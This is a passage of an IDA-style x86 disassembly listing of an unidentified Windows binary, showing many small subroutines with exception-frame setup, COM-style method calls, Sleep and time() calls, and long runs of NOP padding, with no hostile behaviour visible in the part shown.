push 0 mov ecx, [ebp+var_28] add ecx, 8 call sub_40543F mov [ebp+var_38], eax mov edx, [ebp+var_28] mov eax, [ebp+var_38] mov [edx], eax jmp short loc_40935D ; --------------------------------------------------------------------------- loc_409332: ; CODE XREF: sub_4091F5+121j push 1Ch call dword_4130E0 ; Sleep push 15182h mov ecx, [ebp+var_28] add ecx, 8 call sub_40543F mov [ebp+var_3C], eax mov ecx, [ebp+var_28] mov edx, [ebp+var_3C] mov [ecx], edx push 1Dh call dword_4130E0 ; Sleep loc_40935D: ; CODE XREF: sub_4091F5+13Bj lea eax, [ebp+var_14] push eax call dword_4131A4 ; time add esp, 4 mov ecx, [ebp+var_28] mov edx, [ecx] cmp edx, [ebp+var_14] jge short loc_40939F push 1Eh call dword_4130E0 ; Sleep push 15181h mov ecx, [ebp+var_28] add ecx, 8 call sub_40543F mov [ebp+var_40], eax mov eax, [ebp+var_28] mov ecx, [ebp+var_40] mov [eax], ecx push 1Fh call dword_4130E0 ; Sleep loc_40939F: ; CODE XREF: sub_4091F5+17Dj jmp loc_409282 ; --------------------------------------------------------------------------- loc_4093A4: ; CODE XREF: sub_4091F5+97j ; sub_4091F5+A1j mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx jmp short loc_4093BE ; --------------------------------------------------------------------------- loc_4093AF: ; DATA XREF: HSho:00415D44o mov [ebp+var_24], 0 mov eax, offset loc_4093B9 retn ; --------------------------------------------------------------------------- loc_4093B9: ; DATA XREF: sub_4091F5+1BEo mov al, [ebp+var_24] jmp short loc_4093C7 ; --------------------------------------------------------------------------- loc_4093BE: ; CODE XREF: sub_4091F5+1B8j mov [ebp+var_4], 0FFFFFFFFh mov al, 1 loc_4093C7: ; CODE XREF: sub_4091F5+F1j ; sub_4091F5+1C7j mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4091F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093D8 proc near ; CODE XREF: HSho:004117B9p arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop mov eax, [ebp+arg_8] push eax mov ecx, offset dword_41BCD0 call sub_41150C push 1Ah call dword_4130E0 ; Sleep mov ecx, offset dword_419C90 call sub_4091F5 nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop xor eax, eax pop edi pop esi pop ebx pop ebp retn 10h sub_4093D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409540 proc near ; CODE XREF: sub_408310+8p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_409540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov [ebp+var_4], 2 mov ecx, [ebp+var_10] add ecx, 2040h call sub_411512 mov byte ptr [ebp+var_4], 1 mov ecx, [ebp+var_10] add ecx, 203Ch call sub_411512 mov byte ptr [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 8 call sub_402BB1 mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] add ecx, 4 call sub_411512 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_409540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095C0 proc near ; CODE XREF: sub_4082EF+8p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_4095C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov ecx, [ebp+var_10] add ecx, 4 call sub_41151E mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 8 call sub_402A1E mov byte ptr [ebp+var_4], 1 mov ecx, [ebp+var_10] add ecx, 203Ch call sub_41151E mov byte ptr [ebp+var_4], 2 mov ecx, [ebp+var_10] add ecx, 2040h call sub_41151E mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_10] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_4095C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409640 proc near ; CODE XREF: sub_40831F+7A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov edx, [ecx] mov [eax], edx mov ecx, [ebp+var_4] call sub_409750 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_409640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409670 proc near ; CODE XREF: sub_40831F+673p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_409670 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 10h mov [ebp+var_18], ecx mov ecx, [ebp+var_18] call sub_4041A5 push 0Ch call sub_4114F4 add esp, 4 mov [ebp+var_14], eax mov [ebp+var_4], 0 cmp [ebp+var_14], 0 jz short loc_4096C1 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_14] call sub_4041E3 mov [ebp+var_1C], eax jmp short loc_4096C8 ; --------------------------------------------------------------------------- loc_4096C1: ; CODE XREF: sub_409670+3Ej mov [ebp+var_1C], 0 loc_4096C8: ; CODE XREF: sub_409670+4Fj mov ecx, [ebp+var_1C] mov [ebp+var_10], ecx mov [ebp+var_4], 0FFFFFFFFh mov edx, [ebp+var_18] mov eax, [ebp+var_10] mov [edx], eax mov eax, [ebp+var_18] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_409670 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4096F0 proc near ; CODE XREF: sub_40831F+690p ; sub_40831F+999p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_409710 mov ecx, [ebp+var_4] mov ecx, [ecx] call sub_409790 mov [ebp+var_8], eax jmp short loc_409717 ; --------------------------------------------------------------------------- loc_409710: ; CODE XREF: sub_4096F0+Fj mov [ebp+var_8], 0 loc_409717: ; CODE XREF: sub_4096F0+1Ej mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_4096F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409720 proc near ; CODE XREF: sub_40831F+683p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_409740 mov ecx, [ebp+var_4] mov ecx, [ecx] call sub_4097A0 mov [ebp+var_8], eax jmp short loc_409747 ; --------------------------------------------------------------------------- loc_409740: ; CODE XREF: sub_409720+Fj mov [ebp+var_8], 0 loc_409747: ; CODE XREF: sub_409720+1Ej mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_409720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409750 proc near ; CODE XREF: sub_409640+14p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_409769 mov ecx, [ebp+var_4] mov ecx, [ecx] call sub_409770 loc_409769: ; CODE XREF: sub_409750+Dj mov esp, ebp pop ebp retn sub_409750 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409770 proc near ; CODE XREF: sub_409750+14p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] add eax, 8 push eax call dword_4130AC ; InterlockedIncrement mov ecx, [ebp+var_4] mov eax, [ecx+8] mov esp, ebp pop ebp retn sub_409770 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409790 proc near ; CODE XREF: sub_4096F0+16p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov eax, [eax] mov esp, ebp pop ebp retn sub_409790 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097A0 proc near ; CODE XREF: sub_409720+16p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_4097C2 mov ecx, [ebp+var_4] mov edx, [ecx] push edx call dword_413278 mov [ebp+var_8], eax jmp short loc_4097C9 ; --------------------------------------------------------------------------- loc_4097C2: ; CODE XREF: sub_4097A0+Fj mov [ebp+var_8], 0 loc_4097C9: ; CODE XREF: sub_4097A0+20j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_4097A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097D0 proc near ; CODE XREF: sub_40831F+78Ap ; sub_4097F0+3Cp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] push eax call dword_413268 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4097D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097F0 proc near ; CODE XREF: sub_40831F+7FBp var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_14 = word ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_4097F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov [ebp+var_24], ecx mov eax, [ebp+var_24] xor ecx, ecx mov cx, [eax] cmp ecx, 0Bh jnz short loc_409829 mov edx, [ebp+var_24] movsx eax, word ptr [edx+8] test eax, eax setnz al jmp short loc_409864 ; --------------------------------------------------------------------------- loc_409829: ; CODE XREF: sub_4097F0+29j lea ecx, [ebp+var_1C] call sub_4097D0 mov [ebp+var_4], 0 mov ecx, [ebp+var_24] push ecx push 0Bh lea ecx, [ebp+var_1C] call sub_409930 movsx edx, [ebp+var_14] test edx, edx setnz al mov [ebp+var_20], al mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_1C] call sub_409990 mov al, [ebp+var_20] loc_409864: ; CODE XREF: sub_4097F0+37j mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_4097F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409880 proc near ; CODE XREF: sub_40831F+7E3p var_4 = dword ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] xor ecx, ecx mov cx, [eax] cmp ecx, 2 jnz short loc_4098A1 mov edx, [ebp+var_4] mov ax, [ebp+arg_0] mov [edx+8], ax jmp short loc_4098DA ; --------------------------------------------------------------------------- loc_4098A1: ; CODE XREF: sub_409880+12j mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] cmp edx, 0Bh jnz short loc_4098BF movsx eax, [ebp+arg_0] neg eax sbb eax, eax mov ecx, [ebp+var_4] mov [ecx+8], ax jmp short loc_4098DA ; --------------------------------------------------------------------------- loc_4098BF: ; CODE XREF: sub_409880+2Cj mov ecx, [ebp+var_4] call sub_4098F0 mov edx, [ebp+var_4] mov word ptr [edx], 2 mov eax, [ebp+var_4] mov cx, [ebp+arg_0] mov [eax+8], cx loc_4098DA: ; CODE XREF: sub_409880+1Fj ; sub_409880+3Dj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_409880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098F0 proc near ; CODE XREF: sub_409880+42p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] push eax call dword_413264 push eax call sub_409910 add esp, 4 mov esp, ebp pop ebp retn sub_4098F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409910 proc near ; CODE XREF: sub_4098F0+12p ; sub_409930+46p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jge short loc_409922 mov eax, [ebp+arg_0] push eax call sub_411822 loc_409922: ; CODE XREF: sub_409910+7j pop ebp retn sub_409910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409930 proc near ; CODE XREF: sub_4097F0+51p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx cmp [ebp+arg_4], 0 jnz short loc_409943 mov eax, [ebp+var_4] mov [ebp+arg_4], eax loc_409943: ; CODE XREF: sub_409930+Bj mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_4] jnz short loc_409960 mov edx, [ebp+arg_0] and edx, 0FFFFh mov eax, [ebp+var_4] xor ecx, ecx mov cx, [eax] cmp edx, ecx jz short loc_40997E loc_409960: ; CODE XREF: sub_409930+19j mov dx, word ptr [ebp+arg_0] push edx push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] push ecx call dword_413260 push eax call sub_409910 add esp, 4 loc_40997E: ; CODE XREF: sub_409930+2Ej mov esp, ebp pop ebp retn 8 sub_409930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409990 proc near ; CODE XREF: sub_40831F+9B6p ; sub_40831F+A25p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] push eax call dword_413264 push eax call sub_409910 add esp, 4 mov esp, ebp pop ebp retn sub_409990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4099B0 proc near ; CODE XREF: sub_40831F+720p ; sub_411A14+11p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax+4], ecx mov edx, [ebp+var_4] mov eax, [ebp+arg_4] mov [edx+8], eax mov ecx, [ebp+var_4] mov dword ptr [ecx+0Ch], 0 mov edx, [ebp+var_4] mov dword ptr [edx], offset off_414AE8 mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jz short loc_409A04 mov ecx, [ebp+arg_8] and ecx, 0FFh test ecx, ecx jz short loc_409A04 mov edx, [ebp+var_4] mov eax, [edx+8] mov ecx, [ebp+var_4] mov edx, [ecx+8] mov ecx, [edx] push eax call dword ptr [ecx+4] loc_409A04: ; CODE XREF: sub_4099B0+33j ; sub_4099B0+40j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_4099B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A10 proc near ; DATA XREF: HSho:off_414AE8o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_409A40 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_409A35 mov ecx, [ebp+var_4] push ecx call sub_4114EE add esp, 4 loc_409A35: ; CODE XREF: sub_409A10+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_409A10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A40 proc near ; CODE XREF: sub_40831F+735p ; sub_409A10+Ap ; DATA XREF: ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_414AE8 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jz short loc_409A6B mov edx, [ebp+var_4] mov eax, [edx+8] mov ecx, [ebp+var_4] mov edx, [ecx+8] mov ecx, [edx] push eax call dword ptr [ecx+8] loc_409A6B: ; CODE XREF: sub_409A40+17j mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0 jz short loc_409A81 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] push ecx call dword_4130A8 ; LocalFree loc_409A81: ; CODE XREF: sub_409A40+32j mov esp, ebp pop ebp retn sub_409A40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A90 proc near ; CODE XREF: sub_40831F+831p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], ecx mov [ebp+var_C], 0 lea eax, [ebp+var_8] push eax mov ecx, [ebp+var_10] mov edx, [ecx] mov eax, [ebp+var_10] push eax call dword ptr [edx+0B4h] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jge short loc_409ACE push offset dword_417578 mov ecx, [ebp+var_10] push ecx mov edx, [ebp+var_4] push edx call sub_411830 loc_409ACE: ; CODE XREF: sub_409A90+2Aj push 0 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_0] call sub_409D00 mov ecx, [ebp+var_C] or ecx, 1 mov [ebp+var_C], ecx mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn 4 sub_409A90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AF0 proc near ; CODE XREF: sub_40831F+7CCp var_1C = dword ptr -1Ch var_18 = word ptr -18h var_14 = word ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_409AF0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 10h mov [ebp+var_1C], ecx mov [ebp+var_4], 0 lea eax, [ebp+var_14] push eax lea ecx, [ebp+arg_0] call sub_4096F0 push eax mov ecx, [ebp+var_1C] mov edx, [ecx] mov eax, [ebp+var_1C] push eax call dword ptr [edx+104h] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jge short loc_409B4C push offset dword_417578 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_10] push edx call sub_411830 loc_409B4C: ; CODE XREF: sub_409AF0+48j mov ax, [ebp+var_14] mov [ebp+var_18], ax mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_0] call sub_4041A5 mov ax, [ebp+var_18] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_409AF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409B80 proc near ; CODE XREF: sub_40831F+6ECp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], 0 cmp [ebp+arg_0], 0 jz short loc_409BA0 push 80004003h call sub_411822 loc_409BA0: ; CODE XREF: sub_409B80+14j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_409B80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BB0 proc near ; CODE XREF: sub_40831F+744p ; sub_40831F+9C5p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_409D60 mov esp, ebp pop ebp retn sub_409BB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BD0 proc near ; CODE XREF: sub_40831F+7C1p ; sub_40831F+82Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jnz short loc_409BE9 push 80004003h call sub_411822 loc_409BE9: ; CODE XREF: sub_409BD0+Dj mov ecx, [ebp+var_4] mov eax, [ecx] mov esp, ebp pop ebp retn sub_409BD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C00 proc near ; CODE XREF: sub_40831F+704p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx mov ecx, [ebp+var_C] call sub_409D60 mov eax, [ebp+arg_8] and eax, 14h test eax, eax jz short loc_409C7D lea ecx, [ebp+var_8] push ecx push offset dword_417588 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4132AC mov [ebp+var_4], eax cmp [ebp+var_4], 0 jge short loc_409C44 mov eax, [ebp+var_4] jmp short loc_409C9F ; --------------------------------------------------------------------------- loc_409C44: ; CODE XREF: sub_409C00+3Dj mov edx, [ebp+var_8] push edx call dword_4132A8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jl short loc_409C6F mov eax, [ebp+var_C] push eax call sub_409D50 push eax mov ecx, [ebp+var_8] mov edx, [ecx] mov eax, [ebp+var_8] push eax call dword ptr [edx] mov [ebp+var_4], eax loc_409C6F: ; CODE XREF: sub_409C00+55j mov ecx, [ebp+var_8] mov edx, [ecx] mov eax, [ebp+var_8] push eax call dword ptr [edx+8] jmp short loc_409C9C ; --------------------------------------------------------------------------- loc_409C7D: ; CODE XREF: sub_409C00+19j mov ecx, [ebp+var_C] push ecx call sub_409D50 push eax mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4132AC mov [ebp+var_4], eax loc_409C9C: ; CODE XREF: sub_409C00+7Bj mov eax, [ebp+var_4] loc_409C9F: ; CODE XREF: sub_409C00+42j mov esp, ebp pop ebp retn 0Ch sub_409C00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CB0 proc near ; CODE XREF: sub_40831F+39p ; sub_40831F+814p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_409CB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CD0 proc near ; CODE XREF: sub_40831F+869p ; sub_40831F+938p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov edx, [ecx] mov [eax], edx mov ecx, [ebp+var_4] call sub_409DE0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_409CD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409D00 proc near ; CODE XREF: sub_409A90+47p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+arg_4] and edx, 0FFh test edx, edx jz short loc_409D24 mov ecx, [ebp+var_4] call sub_409DE0 loc_409D24: ; CODE XREF: sub_409D00+1Aj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 8 sub_409D00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409D30 proc near ; CODE XREF: sub_40831F+849p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx mov ecx, [ebp+var_4] call sub_409D90 mov esp, ebp pop ebp retn 4 sub_409D30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409D50 proc near ; CODE XREF: sub_409C00+5Bp ; sub_409C00+81p push ebp mov ebp, esp call sub_409E10 pop ebp retn sub_409D50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409D60 proc near ; CODE XREF: sub_409BB0+Ap ; sub_409C00+Cp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_409D7F mov ecx, [ebp+var_4] mov edx, [ecx] mov eax, [ebp+var_4] mov ecx, [eax] mov eax, [ecx] push edx call dword ptr [eax+8] loc_409D7F: ; CODE XREF: sub_409D60+Dj mov esp, ebp pop ebp retn sub_409D60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409D90 proc near ; CODE XREF: sub_409D30+10p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov ecx, [eax] cmp ecx, [ebp+arg_0] jz short loc_409DCD mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov [ecx], edx mov ecx, [ebp+var_8] call sub_409DE0 cmp [ebp+var_4], 0 jz short loc_409DCD mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] push edx call dword ptr [ecx+8] loc_409DCD: ; CODE XREF: sub_409D90+11j ; sub_409D90+2Fj mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_409D90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DE0 proc near ; CODE XREF: sub_409CD0+14p ; sub_409D00+1Fp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_409DFF mov ecx, [ebp+var_4] mov edx, [ecx] mov eax, [ebp+var_4] mov ecx, [eax] mov eax, [ecx] push edx call dword ptr [eax+4] loc_409DFF: ; CODE XREF: sub_409DE0+Dj mov esp, ebp pop ebp retn sub_409DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409E10 proc near ; CODE XREF: sub_409D50+3p push ebp mov ebp, esp mov eax, offset dword_417578 pop ebp retn sub_409E10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409E20 proc near ; CODE XREF: sub_40A04E+220p ; sub_40A04E+39Ep ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov ecx, [eax+0Ch] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] mov eax, [edx+30h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+34h] ja short loc_409E4E mov eax, [ebp+arg_0] mov ecx, [eax+34h] mov [ebp+var_10], ecx jmp short loc_409E57 ; --------------------------------------------------------------------------- loc_409E4E: ; CODE XREF: sub_409E20+21j mov edx, [ebp+arg_0] mov eax, [edx+2Ch] mov [ebp+var_10], eax loc_409E57: ; CODE XREF: sub_409E20+2Cj mov ecx, [ebp+var_10] sub ecx, [ebp+var_8] mov [ebp+var_C], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_C] cmp eax, [edx+10h] jbe short loc_409E74 mov ecx, 